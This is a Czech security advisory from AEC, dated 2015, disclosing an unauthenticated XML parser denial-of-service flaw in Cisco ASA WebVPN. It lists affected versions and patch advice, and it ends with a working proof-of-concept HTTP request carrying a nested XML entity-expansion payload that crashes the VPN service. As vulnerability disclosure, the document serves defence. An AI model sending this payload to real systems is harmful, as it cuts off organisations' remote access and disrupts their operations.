Cisco ASA VPN XML Parser Denial of Service Vulnerability
22. 9. 2015
Cisco ASA VPN XML Parser Denial of Service Vulnerability

Tým etických hackerů společnosti AEC objevil a reportoval závažnou zranitelnost v systémech společnosti Cisco.

Závažnost: vysoká
Obtížnost zneužití: nízká

Identifikovaná zranitelnost je způsobena chybou XML parseru softwarové komponenty WebVPN v produktech Cisco ASA. Zneužít tuto zranitelnost je možné pomocí speciálně vytvořené sady XML entit odeslané neautentizovaně pomocí prostředků vzdálené komunikace. Úspěšné zneužití zranitelnosti vede k odpojení všech sestavených SSL VPN spojení, nestabilitě systému a restartu. Existuje reálné riziko, dlouhodobého působení útoku a tak i déle trvajícímu znemožnění využití VPN postižené společnosti.

 

Zranitelné systémy

Zařízení Cisco ASA konfigurované pro Clientless nebo AnyConnect SSL VPN a AnyConnect IKEv2 VPN.

Zranitelné jsou tyto verze software:

  • Cisco ASA Software 8.4 před 8.4(7.28)
  • Cisco ASA Software 8.6 před 8.6(1.17)
  • Cisco ASA Software 9.0 před 9.0(4.32)
  • Cisco ASA Software 9.1 před 9.1(6)
  • Cisco ASA Software 9.2 před 9.2(3.4)
  • Cisco ASA Software 9.3 před 9.3(3)

Zranitelnost byla reportována společnosti Cisco. K zveřejnění všech detailů jsme s ohledem na naše zákazníky přistoupili až po dostatečně dlouhé době zajišťující odpovídající úroveň nápravných opatření v námi chráněných společnostech.

 

Doporučení AEC

Mitigační opatření na úrovni okolních nebo předřazených systémů nejsou efektivní. Pokud používáte řešení starší verze než výše uvedené, kontaktujte dodavatele systému a žádejte patch.

Více detailů je k dispozici na těchto oficiálních odkazech společnosti Cisco:
http://tools.cisco.com/security/center/viewAlert.x?alertId=38185
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150408-asa

 

Proof of Concept

Níže uvádíme příklad požadavku vedoucímu k úspěšnému zneužití zranitelnosti a způsobení stavu nedostupnosti služby. Pro zachování anonymity byl požadavek modifikován.

http požadavek:

POST / HTTP/1.1
X-Transcend-Version: 1
X-Aggregate-Auth: 1
X-AnyConnect-Platform: win
X-Transcend-Version: 1
X-Aggregate-Auth: 1
X-AnyConnect-Platform: win
Host: VPN_SERVER_NAME
Cookie: sdesktop=4168B38548AE90FC768A2DEF;
User-Agent: AnyConnect Windows 3.1.05152
Content-Length: 907
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxx "test">
<!ENTITY xxx1 "&xxx;&xxx;&xxx;&xxx;&xxx;&xxx;&xxx;&xxx;&xxx;&xxx;">
<!ENTITY xxx2 "&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;&xxx1;">
<!ENTITY xxx3 "&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;&xxx2;">
<!ENTITY xxx4 "&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;&xxx3;">
<!ENTITY xxx5 "&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;&xxx4;">
<!ENTITY xxx6 "&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;&xxx5;">
<!ENTITY xxx7 "&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;&xxx6;">
<!ENTITY xxx8 "&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;&xxx7;">
<!ENTITY xxx9 "&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;&xxx8;">
]>

<config-auth client="vpn" type="auth-reply" aggregate-auth-version="2">
<test>&xxx9;</test>
</config-auth>

Po zaslání výše uvedeného požadavku na zranitelnou službu dojde ke stavu odepření služby VPN a odpojení stávajících SSL VPN spojení.